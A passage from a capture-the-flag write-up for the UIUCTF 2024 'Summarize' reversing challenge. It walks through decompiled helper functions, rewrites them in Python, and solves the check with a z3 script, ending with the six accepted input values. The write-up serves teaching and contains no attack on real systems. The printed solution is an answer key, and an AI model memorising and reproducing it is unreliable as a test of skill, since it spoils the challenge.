FUN_0040163d(param_3,param_1);<br>    uVar7 = FUN_004017a9(param_2,uVar1);<br>    uVar11 = FUN_0040163d(param_2,param_4);<br>    uVar1 = FUN_0040163d(param_4,param_6);<br>    uVar8 = FUN_0040174a(param_3,uVar1);<br>    uVar9 = FUN_004016d8(param_5,param_6);<br>    uVar10 = FUN_0040163d(param_5,param_6);<br>    if (<br>        (uVar2 % 0x10ae961 == 0x3f29b9) &amp;&amp;<br>        (uVar3 % 0x1093a1d == 0x8bdcd2) &amp;&amp;<br>        (uVar5 % uVar6 == 0x212c944d) &amp;&amp;<br>        (uVar7 % 0x6e22 == 0x31be) &amp;&amp;<br>        (uVar11 % param_1 == 0x2038c43c) &amp;&amp;<br>        (uVar8 % 0x1ce628 == 0x1386e2) &amp;&amp;<br>        (uVar9 % 0x1172502 == 0x103cf4f) &amp;&amp;<br>        (uVar10 % 0x2e16f83 == 0x16ab0d7)<br>    ) {<br>        uVar1 = 1;<br>    }<br>}</pre><p>After that, there are lots of (5*) functions we have to analyze, what they do.<br>Let&#39;s see them one by one.<br>The second one is called FUN_0040163d()/sub_40163d(), where BinaryNinja works a bit better, so I changed to that.</p><pre>int64_t sub_40163d(uint32_t arg1, uint32_t arg2) __pure<br>{<br>    uint32_t var_2c = arg1;<br>    uint32_t var_30 = arg2;<br>    int64_t var_10 = 0;<br>    int32_t var_20 = 0;<br>    int32_t var_1c = 0;<br>    while (!((var_2c == 0 &amp;&amp; var_30 == 0)))<br>    {<br>        int32_t rax_2 = (var_2c &amp; 1);<br>        int32_t rax_4 = (var_30 &amp; 1);<br>        var_2c = (var_2c &gt;&gt; 1);<br>        var_30 = (var_30 &gt;&gt; 1);<br>        var_10 = (var_10 + (((rax_2 ^ rax_4) ^ var_20) &lt;&lt; var_1c));<br>        var_20 = ((rax_4 &amp; var_20) | ((rax_2 &amp; rax_4) | (rax_2 &amp; var_20)));<br>        var_1c = (var_1c + 1);<br>    }<br>    return (var_10 + (var_20 &lt;&lt; var_1c));<br>}</pre><p>My first thought was “Holly Cow, what am I looking at?“. I admit, I couldn’t figure it out, so I rewrote it in a small python script and tested it with different inputs.</p><pre>def sub_40163d(arg1, arg2):<br>    var_2c = arg1<br>    var_30 = arg2<br>    var_10 = 0<br>    var_20 = 0<br>    var_1c = 0<br>    while not (var_2c == 0 and var_30 == 0):<br>        print(&quot;var_2c != 0 || var_30 != 0&quot;)<br>        rax_2 = (var_2c &amp; 1)<br>        print(&quot;rax_2 = &quot;, rax_2)<br>        rax_4 = (var_30 &amp; 1)<br>        print(&quot;rax_4 = &quot;, rax_4)<br>        var_2c = (var_2c &gt;&gt; 1)<br>        print(&quot;var_2c = &quot;, rax_4)<br>        var_30 = (var_30 &gt;&gt; 1)<br>        var_10 = (var_10 + (((rax_2 ^ rax_4) ^ var_20) &lt;&lt; var_1c))<br>        var_20 = ((rax_4 &amp; var_20) | ((rax_2 &amp; rax_4) | (rax_2 &amp; var_20)))<br>        var_1c = (var_1c + 1)<br><br>    return var_10 + (var_20 &lt;&lt; var_1c)<br><br>for i in range(0, 10):<br>    for j in range(0, 10):<br>        print(&quot;sub_40163d(&quot;, i, &quot;, &quot;, j, &quot;) =&gt; &quot;, sub_40163d(i, j))</pre><p>It turned out it is just an overcomplicated add method, so I continued with the first method called FUN_004016d8()/sub_4016d8(), where basically just calling the second one with a negative second parameter. So it is a negative add alias subtraction.<br>I checked the other methods and rewrote them if needed. The methods are addition(), subtraction(), multiplication(), xor() and and().<br>For better performance, I rewrite them in a simple way in python.</p><pre>def add(param_1, param_2):<br>    return param_1 + param_2<br><br><br>def sub(param_1, param_2):<br>    return param_1 - param_2<br><br><br>def mul(param_1, param_2):<br>    return param_1 * param_2<br><br><br>def xor(param_1, param_2):<br>    return param_1 ^ param_2<br><br><br>def and_(param_1, param_2):<br>    return param_1 &amp; param_2</pre><p>Finally, I needed to solve the system of equations with 6 unknowns. Fortunately, there is a python tool called <a href="https://pypi.org/project/z3-solver/">z3</a>, which can solve difficult problems based on simple statements.<br>Luckily, we have simple statements, so put them into a python script.</p><h3>Solution</h3><pre>from z3 import *<br><br><br>def add(param_1, param_2):<br>    return param_1 + param_2<br><br><br>def sub(param_1, param_2):<br>    return param_1 - param_2<br><br><br>def mul(param_1, param_2):<br>    return param_1 * param_2<br><br><br>def xor(param_1, param_2):<br>    return param_1 ^ param_2<br><br><br>def and_(param_1, param_2):<br>    return param_1 &amp; param_2<br><br><br>a, b, c, d, e, f = BitVecs(&#39;a b c d e f&#39;, 32)<br><br>s = Solver()<br><br>s.add(a &gt; 100000001)<br>s.add(b &gt; 100000001)<br>s.add(c &gt; 100000001)<br>s.add(d &gt; 100000001)<br>s.add(e &gt; 100000001)<br>s.add(f &gt; 100000001)<br><br>s.add(a &lt; 1000000000)<br>s.add(b &lt; 1000000000)<br>s.add(c &lt; 1000000000)<br>s.add(d &lt; 1000000000)<br>s.add(e &lt; 1000000000)<br>s.add(f &lt; 1000000000)<br><br>uVar1 = sub(a, b)<br>uVar2 = add(uVar1, c)<br>uVar3 = add(a, b)<br>uVar1 = mul(2, b)<br>uVar4 = mul(3, a)<br>uVar5 = sub(uVar4, uVar1)<br>uVar6 = xor(a, d)<br>uVar1 = add(c, a)<br>uVar7 = and_(b, uVar1)<br>uVar11 = add(b, d)<br>uVar1 = add(d, f)<br>uVar8 = xor(c, uVar1)<br>uVar9 = sub(e, f)<br>uVar10 = add(e, f)<br><br>s.add(uVar2 % 0x10ae961 == 0x3f29b9)<br>s.add(uVar3 % 0x1093a1d == 0x8bdcd2)<br>s.add(uVar5 % uVar6 == 0x212c944d)<br>s.add(uVar7 % 0x6e22 == 0x31be)<br>s.add(uVar11 % a == 0x2038c43c)<br>s.add(uVar8 % 0x1ce628 == 0x1386e2)<br>s.add(uVar9 % 0x1172502 == 0x103cf4f)<br>s.add(uVar10 % 0x2e16f83 == 0x16ab0d7)<br><br>if s.check() == sat:<br>    m = s.model()<br>    print(f&#39;a = {m[a]}\nb = {m[b]}\nc = {m[c]}\nd = {m[d]}\ne = {m[e]}\nf = {m[f]}&#39;)<br>else:<br>    print(&quot;No solution found&quot;)</pre><p>This script solves our problem and prints the following result.</p><pre>a = 705965527<br>b = 780663452<br>c = 341222189<br>d = 465893239<br>e = 966221407<br>f = 217433792</pre><p>We just need to run the application and put the values there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*r115sjxgSM2wFeEr" /><figcaption>Solution</figcaption></figure><h3>Skills Learned</h3><ul><li>reversing and rewriting overcomplicated algorithms</li><li>z3-solver</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9b3e100c736" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/uiuctf-2024-summarize-c9b3e100c736">UIUCTF 2024 — Summarize</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>